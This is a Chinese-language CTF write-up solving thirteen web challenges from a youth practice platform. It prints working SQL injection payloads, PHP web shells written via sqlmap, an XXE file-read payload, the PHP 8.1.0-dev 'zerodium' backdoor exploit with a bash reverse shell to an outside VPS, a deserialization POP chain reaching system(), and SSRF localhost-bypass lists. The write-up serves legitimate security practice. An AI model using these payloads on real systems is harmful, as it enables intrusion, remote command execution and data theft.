CTF CTF-web 青少年CTF练习平台-web NgkcvsCC 2025-05-27 2025-11-07 青少年CTF练习平台-web 1.文章管理系统
抓包访问页面发现页面 id 参数存在整形 sql 注入
Payload:
1 2 3 4 5 6 7 8 9 10 ?id=1 ?id=1 ' //判断为整数类型的注入 ?id=1 and 1=1# //正常执行 ?id=1 and 1=2# //返回报错,证明存在注入 ?id=1 order by 2# //查看显示位,有两列 ?id=-1 union select database(),user()# //word,root@localhost ?id=-1 union select version(),@@datadir# //数据库版本和安装路径 ?id=-1 union select (select group_concat(table_name) from information_schema.tables where table_schema=database()),user()# //articles ?id=-1 union select (select group_concat(column_name) from information_schema.columns where table_name="articles"),user()# //id,title,word ?id=-1 union select (select group_concat(id,title,word) from word.articles),user()#
在结果页面下方找到 个答案,不是正确的 flag
1 987516FLAGqsnctf{sql+so+easy!!!!}
使用 sqlmap 获取一下数据
使用命令 cat /flag 找到flag
flag{05e146b0fdbf4184a431d74773e6dc2a}
1 2 echo "<?php @eval(\$_POST[123]);?>" > /var /www/html/111 .phpecho '<?php @eval($_POST[123]);?>' > /var /www/html/123 .php
若使用双引号会发现写进去的内容变成了****,$_POST 被过滤了,故使用 \ 绕过即可。
换一种方法,使用 :
–file-write 和 –file-dest
1 python sqlmap.py -u "http://challenge.qsnctf.com:30089/?id=1" --file-write D:\111 .txt --file-dest /var /www/html/333 .php
–os-shell发现成功写入,使用蚁剑连接
2.Robots 打开页面显示
看看Robots.txt文件吧?
访问此页面找到
1 2 3 User-agent: * Disallow: Disallow: f1ag_1n_the_h3re.php
接着访问 f1ag_1n_the_h3re.php,出现答案
3.黑客终端
输入框可执行系统命令,试了下常用命令,只发现 ls 可以使用
1 bin home lib32 media root sys vmlinuz boot initrd.img flag lib64 mnt run tmp vmlinuz.old dev initrd.img.old libx32 opt sbin usr etc lib lost+found proc srv var
试了以下绕过都不行
1 2 3 4 5 6 7 cat flag cat%20 flag cat%20 fl* cat$IFSf * tac$IFSfla ? ca\t$IFSf * ......
抓个包看看。
在响应页面的script中发现了答案,原来使用 cat /flag 可以得到结果,ls 当前目录的flag是假的。
4.此地无银三百两
此地无银三百两,flag 就在网页源代码中
5.PHP的XXE
题目描述:
XXE(XML External Entity)是一种针对XML解析器的攻击技术,也被称为XML外部实体注入攻击。当应用程序解析用户提供的XML输入时,如果没有正确地配置或过滤外部实体,攻击者可以利用这一漏洞执行恶意操作。
XML允许在文档中定义和使用外部实体,这些实体可以从外部资源(如文件、网络URL等)中获取数据。如果应用程序解析了包含恶意外部实体的XML输入,并且未对外部实体进行适当的处理或限制,攻击者可能会读取敏感文件、执行远程代码或进行其他恶意活动。
参考资料:
https://cloud.tencent.com/developer/article/2090744
https://xz.aliyun.com/news/2994?time__1311=eqfxBQD%3DDQIxl6zq0%3DExiIexNFGCfIeD&u_atoken=d3c08d7961a88e8e9d4d2dd28b364dbd&u_asig=1a0c380917412452111677324e003b#toc-4
payload:
首先要需要访问 /simplexml_load_string.php 或 dom.php 页面触发漏洞,然后使用payload
1 2 3 4 5 6 7 <?xml version="1.0" encoding="utf-8"?> #xml版本标识和字符编码设置 <!DOCTYPE xxe #DTD声明验证 [ <!ELEMENT name ANY > #内部的 DOCTYPE 声明 <!ENTITY xxe SYSTEM "file:///etc/passwd" > #参数实体:实体名 实体值 ]> <root><name>&xxe;</name></root> #xml内容
6.PHP的后门 题目暗示有后门,就直接目录扫描,没有结果
BP抓个包看到php版本是: PHP/8.1.0-dev
网上查了下,PHP 8.1.0-dev存在后门远程命令执行漏洞
在header头增加user-agentt 字段
1 2 3 4 5 6 user-agentt: zerodiumvar_dump (2 *3 ); user-agentt: zerodiumsystem ("cat /flag" ); User-Agentt: zerodiumfile_put_contents ('111.php' ,'<?php @eval($_POST[123]);?>' ); user-agentt: zerodiumsystem ("cat 111.php" ); User-Agentt: zerodiumsystem ("bash -c 'exec bash -i >& /dev/tcp/VPSip/6666 0>&1'" );
flag{1e33efc9e259480dbf8e03efd70d84ab}
7.EasyMD5
题目页面是两个上传文件的地方,结合题目可能是要上传两个MD5相同的文件
创建两个文件,使用 0e 绕过
0e:1.txt(QNKCDZO) 2.txt(240610708)
点上传页面提示需要 pdf 格式,那么改一下后缀名再上传,结果就出来了
8.Easy_SQLi
是个登录功能,输入弱口令试一下,admin/123456。登录成功了。但没有任何显示。
抓个包看一下,响应包没什么东西,直接使用 sqlmap ,两个参数都存在注入。
payload:sqlmap -r t.txt -D qsnctf -T users -C id,password,username –dump
9.雏形系统
试了试弱口令,没有结果,查看网页源代码也没东西
网站目录扫描一下,找到个 www.zip ,得到有两个文件
robots.txt
qsnctf.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Login Page</title> <style> body { font-family: Arial, sans-serif; background-color: #f0f0f0; padding: 20px; } .container { max-width: 400px; margin: 0 auto; background-color: #fff; padding: 20px; border-radius: 5px; box-shadow: 0 0 10px rgba(0, 0, 0, 0.1); } .alert { padding: 10px; background-color: #f8d7da; color: #721c24; border-radius: 5px; margin-bottom: 10px; } form { margin-bottom: 20px; } form input[type="text"], form input[type="password"], form input[type="submit"] { width: 100%; padding: 10px; margin-bottom: 10px; border: 1px solid #ccc; border-radius: 3px; } form input[type="submit"] { background-color: #007bff; color: #fff; border: none; cursor: pointer; } </style> </head> <body> <div class="container"> <h1>Welcome to the login testing page!</h1> <hr> <?php $O00OO0=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");$O00O0O=$O00OO0{3}.$O00OO0{6}.$O00OO0{33}.$O00OO0{30};$O0OO00=$O00OO0{33}.$O00OO0{10}.$O00OO0{24}.$O00OO0{10}.$O00OO0{24};$OO0O00=$O0OO00{0}.$O00OO0{18}.$O00OO0{3}.$O0OO00{0} .$O0OO00{1}.$O00OO0{24};$OO0000=$O00OO0{7}.$O00OO0{13};$O00O0O.=$O00OO0{22}.$O00OO0{36} .$O00OO0{29}.$O00OO0{26}.$O00OO0{30}.$O00OO0{32}.$O00OO0{35}.$O00OO0{26}.$O00OO0{30}; eval($O00O0O("JE8wTzAwMD0iS1hwSnRScmdxVU9IY0Zld3lvUFNXbkNidmtmTUlkbXh6c0VMWVpCVkdoRE51YUFUbFFqaVRhTWh5UUpVclpudHFlS0JzTndSY2ttbG9kVkFTWXBXeGpMRWJJZkNndk9GdWl6RFBHWEh3TzlCaXR6VFNtelVTZ0NzcXA5c2EzaFBxZzlzWWdQdUlzVUJURGpUbUh6VVNtZlhsZ2V4cXNmeGlnZFRTbXpVU3RqVFNtelVTbXpVU21mQlljaGppY0FVaGc1UEt0RzdtSHpVU216VVNtelVxdENIbGdQWFNtUUJiYUZ4bkJOVVNtelVTbXpVU3RmMWJwV01ic2ZwWWM1WFlnUG9sSGZWYTNRb1ozUXNpYzVrVG1QN21IelVTbXpVU216VVNtelVTbVEwaWdQeEVENXVJYXYwblhNR0RlTk5odFFOaWFBeXdrZnZxM0FNbkJOVVNtelVTbXpVU3QwVFNtelVTdDBUU216VVNnRmpiYUZ4U3RZb21IelVTbWY3bUh6VVNtelVTbXpVcXRDSGxnUFhTbVF4SWFVN21IelVTbXpVU216VXF0Q0hsZ1BYU21RdkkyWjdtSHpVU216VVNtelVxdENIbGdQWFNtUU1sa1FQbGtRTWwyNDdtSHpVU216VVNtelVxdENIbGdQWFNnSTFscEYwaWM5dVNlOVZJZ0N4WXRoMWIzR05UYWpUU216VVNtelVTbXpVU216VUljRk5sc3pIUmdkVUN0aDVTdEZQcXBQdmxnUDZJUmZGSVJMSG5CTlVTbXpVU216VVNtelVTbXpkWWd2TXFzMCtpYzV4cWdDWFltVU1uQk5VU216VVNtelVTdDBUU216VVNtelVTbWZwWWM1WFlnUG9sSGZNbGtGQkljRjBUbVA3bUh6VVNtelVTbXpVU216VVNnUHBUbVEwaWdQeEVENXhJYVU5d1JZSGwzZGtoSGJkWWd2TXFzMCtiY1lQd0Qwa0ljUGtpdFFQSWM0a1RHTlVTbXpVU216VVNtelVTbWY3bUh6VVNtelVTbXpVU216VVNtelVTbWZQYjJ2b1NtUTBpZ1B4RUQ1TWxrUVBsa1FNbDI0N21IelVTbXpVU216VVNtelVTdDBUU216VVNtelVTbXpVU216VUljRk5sc3pIOGgrSXZETDQ1bFRmOGgrU2pIUzdtSHpVU216VVNtelVWR05VU216VVZHTlRTbXpVU2dGamJhRnhTTFFQbGM4VFNtelVTdGpUU216VVNtelVTbWZCWWNoamljQVVoZ0w3bUh6VVNtelVTbXpVcTNRdllnUFhTZ0kxbHBGMGljOXVTZTlWYjJlamxlRjBiYVFNYnNVZGJjRjBpYzl1RW16ZElnOE1tSHpVU216VVNtelVLQk5VU216VVNtelVTbXpVU21ma2xnOUhiY0JVaGdTN21IelVTbXpVU216VVNtelVTbVFIVG1RZGwxakJhUmQ3bUh6VVNtelVTbXpVVkdOVVNtelVWR05UU216VVNtUUhTTzBVaGU5R0QxRlpjc1lCYmFGeFkyOXNJbVlZbkJOVVNtelVoZ0xVd1J6ZGExZndaMVFsaDNDeElhaHViYzFQaDEwN21IelVTbWZ6WWM1eElhaE1iY1dNS3BaTmhnTE1uQk5VU216VWljYlVUbWVNcTNGUFltVWRiSGRNU3RqVFNtelVTbXpVU21mUGIydm9TbVM5d0QwOXdEMDl3RDA5d0QwOXdEMDl3RDFHRGVOVVJjNUJZYUdVY2M5MXFIZm5iYzFQU0QwOXdEMDl3RDA5d0QwOXdEMDl3RDA5d1JTN21IelVTbWY5bUh6VVNtZk1JSFVkYkQwOWgyZWRsY1B1aHNicGhnUzl3UlNraXhlcFljdjFoM0FVWWdDeFltZmRJYzFvU0hkVFNtelVTdGpUU216VVNtelVTbWZQYjJ2b1RtRWtwbG9Qb0lhcEhoT1BITThIVERqVFNtelVTdDBUbUh6VVNtei93VT09IjsgIAogICAgICAgIGV2YWwoJz8+Jy4kTzAwTzBPKCRPME9PMDAoJE9PME8wMCgkTzBPMDAwLCRPTzAwMDAqMiksJE9PME8wMCgkTzBPMDAwLCRPTzAwMDAsJE9PMDAwMCksICAgIAogICAgICAgICRPTzBPMDAoJE8wTzAwMCwwLCRPTzAwMDApKSkpOw==")); ?> <form method="POST"> <input type="text" name="username" placeholder="Username" required> <input type="password" name="password" placeholder="Password" required> <input type="submit" value="Login"> </form> </div> </body> </html>
把代码中的php代码中 eval 改成 echo 执行一下,得到以下内容
1 $O0O000 ="KXpJtRrgqUOHcFewyoPSWnCbvkfMIdmxzsELYZBVGhDNuaATlQjiTaMhyQJUrZntqeKBsNwRckmlodVASYpWxjLEbIfCgvOFuizDPGXHwO9BitzTSmzUSgCsqp9sa3hPqg9sYgPuIsUBTDjTmHzUSmfXlgexqsfxigdTSmzUStjTSmzUSmzUSmfBYchjicAUhg5PKtG7mHzUSmzUSmzUqtCHlgPXSmQBbaFxnBNUSmzUSmzUStf1bpWMbsfpYc5XYgPolHfVa3QoZ3Qsic5kTmP7mHzUSmzUSmzUSmzUSmQ0igPxED5uIav0nXMGDeNNhtQNiaAywkfvq3AMnBNUSmzUSmzUSt0TSmzUSt0TSmzUSgFjbaFxStYomHzUSmf7mHzUSmzUSmzUqtCHlgPXSmQxIaU7mHzUSmzUSmzUqtCHlgPXSmQvI2Z7mHzUSmzUSmzUqtCHlgPXSmQMlkQPlkQMl247mHzUSmzUSmzUqtCHlgPXSgI1lpF0ic9uSe9VIgCxYth1b3GNTajTSmzUSmzUSmzUSmzUIcFNlszHRgdUCth5StFPqpPvlgP6IRfFIRLHnBNUSmzUSmzUSmzUSmzdYgvMqs0+ic5xqgCXYmUMnBNUSmzUSmzUSt0TSmzUSmzUSmfpYc5XYgPolHfMlkFBIcF0TmP7mHzUSmzUSmzUSmzUSgPpTmQ0igPxED5xIaU9wRYHl3dkhHbdYgvMqs0+bcYPwD0kIcPkitQPIc4kTGNUSmzUSmzUSmzUSmf7mHzUSmzUSmzUSmzUSmzUSmfPb2voSmQ0igPxED5MlkQPlkQMl247mHzUSmzUSmzUSmzUSt0TSmzUSmzUSmzUSmzUIcFNlszH8h+IvDL45lTf8h+SjHS7mHzUSmzUSmzUVGNUSmzUVGNTSmzUSgFjbaFxSLQPlc8TSmzUStjTSmzUSmzUSmfBYchjicAUhgL7mHzUSmzUSmzUq3QvYgPXSgI1lpF0ic9uSe9Vb2ejleF0baQMbsUdbcF0ic9uEmzdIg8MmHzUSmzUSmzUKBNUSmzUSmzUSmzUSmfklg9HbcBUhgS7mHzUSmzUSmzUSmzUSmQHTmQdl1jBaRd7mHzUSmzUSmzUVGNUSmzUVGNTSmzUSmQHSO0Uhe9GD1FZcsYBbaFxY29sImYYnBNUSmzUhgLUwRzda1fwZ1Qlh3CxIahubc1Ph107mHzUSmfzYc5xIahMbcWMKpZNhgLMnBNUSmzUicbUTmeMq3FPYmUdbHdMStjTSmzUSmzUSmfPb2voSmS9wD09wD09wD09wD09wD09wD1GDeNURc5BYaGUcc91qHfnbc1PSD09wD09wD09wD09wD09wD09wRS7mHzUSmf9mHzUSmfMIHUdbD09h2edlcPuhsbphgS9wRSkixepYcv1h3AUYgCxYmfdIc1oSHdTSmzUStjTSmzUSmzUSmfPb2voTmEkploPoIapHhOPHM8HTDjTSmzUSt0TmHzUSmz/wU==" ; eval ('?>' .$O00O0O ($O0OO00 ($OO0O00 ($O0O000 ,$OO0000 *2 ),$OO0O00 ($O0O000 ,$OO0000 ,$OO0000 ), $OO0O00 ($O0O000 ,0 ,$OO0000 ))));
再将以上得到的内容替换掉原来 php 代码中的 echo 语句,然后把 eval 再改成 echo 继续执行
再解码后得到如下代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 <?php error_reporting (0 ); highlight_file (__file__); class shi { public $next ; public $pass ; public function __toString ( ) { $this ->next::PLZ ($this ->pass); } } class wo { public $sex ; public $age ; public $intention ; public function __destruct ( ) { echo "Hi Try serialize Me!" ; $this ->inspect (); } function inspect ( ) { if ($this ->sex=='boy' &&$this ->age=='eighteen' ){ echo $this ->intention; } echo " 18岁 " ; } } class Demo { public $a ; static function __callStatic ($action , $do ) { global $b ; $b ($do [0 ]); } } $b = $_POST ['password' ]; $a = $_POST ['username' ]; @unserialize ($a ); if (!isset ($b )) { echo "==================PLZ Input Your Name!==================" ; } if ($a =='admin' &&$b =="'k1fuhu's test demo" ){ echo ("登录成功" ); } ?>
$this->next::PLZ($this->pass); :: 这是一个 作用域解析 操作符,用于访问静态方法和属性。在这个上下文中,它用于调用静态方法 PLZ。这行代码的作用是调用 next 对象的静态方法 PLZ,并将 pass 属性作为参数传递给它。这种用法通常出现在需要动态调用对象方法或属性的场景中,尤其是在处理复杂的对象关系时。
1 2 __callStatic://在静态上下文中调用不可访问的方法时触发 __destruct() //类的析构函数,对象被销毁时触发
分析代码构造 pop 链,发现 Demo 类的 __callStatic() 方法中有函数调用 $B($do[0]),那么就可以以这个函数为终点入手,注意到 $b 可以让他为 system 函数,也就是传入的参数 password ,然后分析 callStatic() 方法,我们让他的对象等于 shi 类中 toString() 的 next 属性,这样就能调用到 callStatic() 方法,接着发现 PLZ($this->pass); PLZ 就是函数引用,也就是 $b 函数,那么参数就是 pass ,pass我们可以让他为 system 命令的 参数 ,例如:whoami ,所以给 pass 赋值我们要执行的命令,接着分析能调用 toString() 方法的地方,毫无疑问那只能在 wo 类 中,发现最终就调用到了 inspect() 方法的 intention 属性,而 destruct() 方法最终会调用到他,destruct() 会在执行完反序列化后销毁对象时触发。所以 pop 链子就如下:
1 2 3 4 @unserialize ($a ),$a =username=$w wo::inspect (),$w ->intention=$s ; shi::__toString ().$s ->next=$d ; Demo ::__callStatic (),$b =password
payload 如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?php class shi { public $next ; public $pass ="whoami" ; } class wo { public $sex ="boy" ; public $age ="eighteen" ; public $intention ; } class Demo { public $a ; } $d =new Demo ();$s =new shi ();$s ->next=$d ;$w =new wo ();$w ->intention=$s ;echo serialize ($w );echo urlencode (serialize ($w ));?>
1 //传入post参数:username=序列化字符串&password=system
payload:
1 2 3 ls%20 -al cat /flag cat\$IFS /f*
10.EasyInclude 2024
文件包含漏洞 ,传入 inc 参数,直接获得结果 ?inc=/flag
11.贪吃蛇
查看源代码,发现 score = 10000就会获得结果
那么就访问 check_score.php?score=${score},传参
/check_score.php?score=10000即可
12.穿梭隐藏的密钥
查看网页源代码找到个 c3s4f.php 文件
c3s4f.php 页面如下:源码中
没什么有用的东西,尝试目录扫描一下,得到了个 flag.php ,访问页面是个空白
dirsearch 扫描不出有用的东西,又用 御剑扫描了一次,得到个 secret.php 文件
使用 FUZZ参数名工具-Arjun 把 c3s4f.php 页面的参数fuzz 一下,找到了个 shell
随便传一个参数 ?shell=1
要求 127.0.0.1 才能传
发现还不能,使用 127.0.0.1 绕过:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 域名指向绕过: localtest.me fuf.me vcap.me lvh.me xip.io spoofed.burpcollaborator.net safe.taobao.com localhost 进制绕过:或点分式 0x7F000001 017700000001 2130706433 0177.0000 .0000.0001 0x7F .0x00 .0x00 .0x01 0x7F .0.0 .1 添加@绕过: quan9i@127.0 .0.1 notfound.ctfhub.com@127.0 .0.1 ... 特殊数字: 1 ②7.0 .0.1 句号替代.绕过: 127 。0 。0 。1 省略0 绕过: 127.1 127.0 .1 特殊0 :在windows中,0 代表0.0 .0.0 ,而在linux下,0 代表127.0 .0.1 0 302 跳转: sudo.cc
参考链接:
https://www.cnblogs.com/lei1016cn/archive/2012/11/29/2794862.html
https://lazzzaro.github.io/2020/09/03/web-SSRF/
使用 shell 参数传入:secret.php 文件
c3s4f.php?shell=http://localtest.me/secret.php
得到一个 key 值MSIBLG 和一个 cha11eng3.php文件,访问 cha11eng3.php ,得到一个网页源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 <?php show_source (__FILE__ );include ('k4y.php' );include_once ('flag.php' );if (isset ($_GET ['DrKn' ])) { $text = $_GET ['DrKn' ]; if (@file_get_contents ($text ) == $key ) { echo "有点东西呢" ."</br>" .$key1 ."</br>" ; } else { die ("貌似状态不在线啊(╯_╰)</br>" ); } } if (isset ($_GET [$key1 ])) { $damei = $_GET [$key1 ]; if (hash ("md4" , $damei ) == $damei ) { echo "又近了一步呢,宝~" ."</br>" .$key2 ."</br>" .$key3 ; } else { die ("达咩哟~" ); } } if (isset ($_POST [$key2 ]) && isset ($_POST [$key3 ])) { $user = $_POST [$key2 ]; $pass = $_POST [$key3 ]; if (strlen ($user ) > 4 || strlen ($pass ) > 5 ) { die ("还得练" ); } if ($user !== $pass && md5 ($user ) === md5 ($pass )) { echo "还不错哦" ."$flag " ; } else { die ("nonono" ) ; } } ?>
file_get_contents()函数:用法:将一整个文件读入到一个字符串中
绕过:用data伪协议绕过,或者 php://input 协议
1 2 3 4 cha11eng3.php?DrKn=data: cha11eng3.php?DrKn=data: cha11eng3.php?DrKn=php: post 传入:MSIBLG
得到一个参数:M_ore.8
MD4弱比较绕过,可以通过科学计算法比较绕过。找一个值是一个科学计算法0e开头的,其md4加密后也为0e开头,弱类型比较绕过。
a
md4(a)
0e251288019
0e874956163641961271069404332409
0e001233333333333334557778889
0e434041524824285414215559233446
1 2 M[ore.8 =0e001233333333333334557778889 在url中不能识别_,所以用[代替
传入此参数后又获得两个参数:wtf 和 mC
MD5绕过:传入数组或科学计数法
13.ezsign
是个登陆页面,弱口令试一下,出来个留言板,输入任何内容都会输出.
目录扫描,找到了个上传页面和备份文件 index.php.bak
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 <?php error_reporting (0 );$token = $_COOKIE ['token' ] ?? null ;if ($token ){ extract ($_GET ); $token = base64_decode ($token ); $token = json_decode ($token , true ); $username = $token ['username' ]; $password = $token ['password' ]; $isLocal = false ; if ($_SERVER ['REMOTE_ADDR' ] == "127.0.0.1" ){ $isLocal = true ; } if ($isLocal ){ echo 'Welcome Back,' . $username . '!' ; if (file_exists ('upload/' . $username . '/' . $token ['filename' ])){ echo '<br>' ; echo '<img src="upload/' . $username . '/' . $token ['filename' ] .'" width="200">' ; } else { echo '请上传您高贵的头像。' ; $html = <<<EOD <form method="post" action="upload.php" enctype="multipart/form-data"> <input type="file" name="file" id="file"> <input type="submit" value="Upload"> </form> EOD ; echo $html ; } } else { $html = <<<EOD <h1>留言板</h1> <label for="input-text">Enter some text:</label> <input type="text" id="input-text" placeholder="Type here..."> <button onclick="displayInput()">Display</button> EOD ; echo $html ; } } else { $html = <<<EOD <!DOCTYPE html> <html> <head> <title>Login</title> </head> <body> <h2>Login</h2> <form method="post" action="./login.php"> <div> <label for="username">Username:</label> <input type="text" name="username" id="username" required> </div> <div> <label for="password">Password:</label> <input type="password" name="password" id="password" required> </div> <div> <input type="submit" value="Login"> </div> </form> </body> </html> EOD ; echo $html ; } ?> <script> function displayInput ( ) { var inputText = document.getElementById ("input-text" ).value; document.write (inputText) } </script>
extract(): 它的主要作用是将数组展开,键名作为变量名,元素值为变量值。可以很方便的提取$_POST或者$_GET的元素。
看到 extract() 函数就可以使用变量覆盖,我们把变量 $_SERVER[REMOTE_ADDR] 的值重新设置为题目要求的 127.0.0.1
?_SERVER[REMOTE_ADDR]=127.0.0.1
出现了上传页面
后续题有问题,无法上传任何文件。。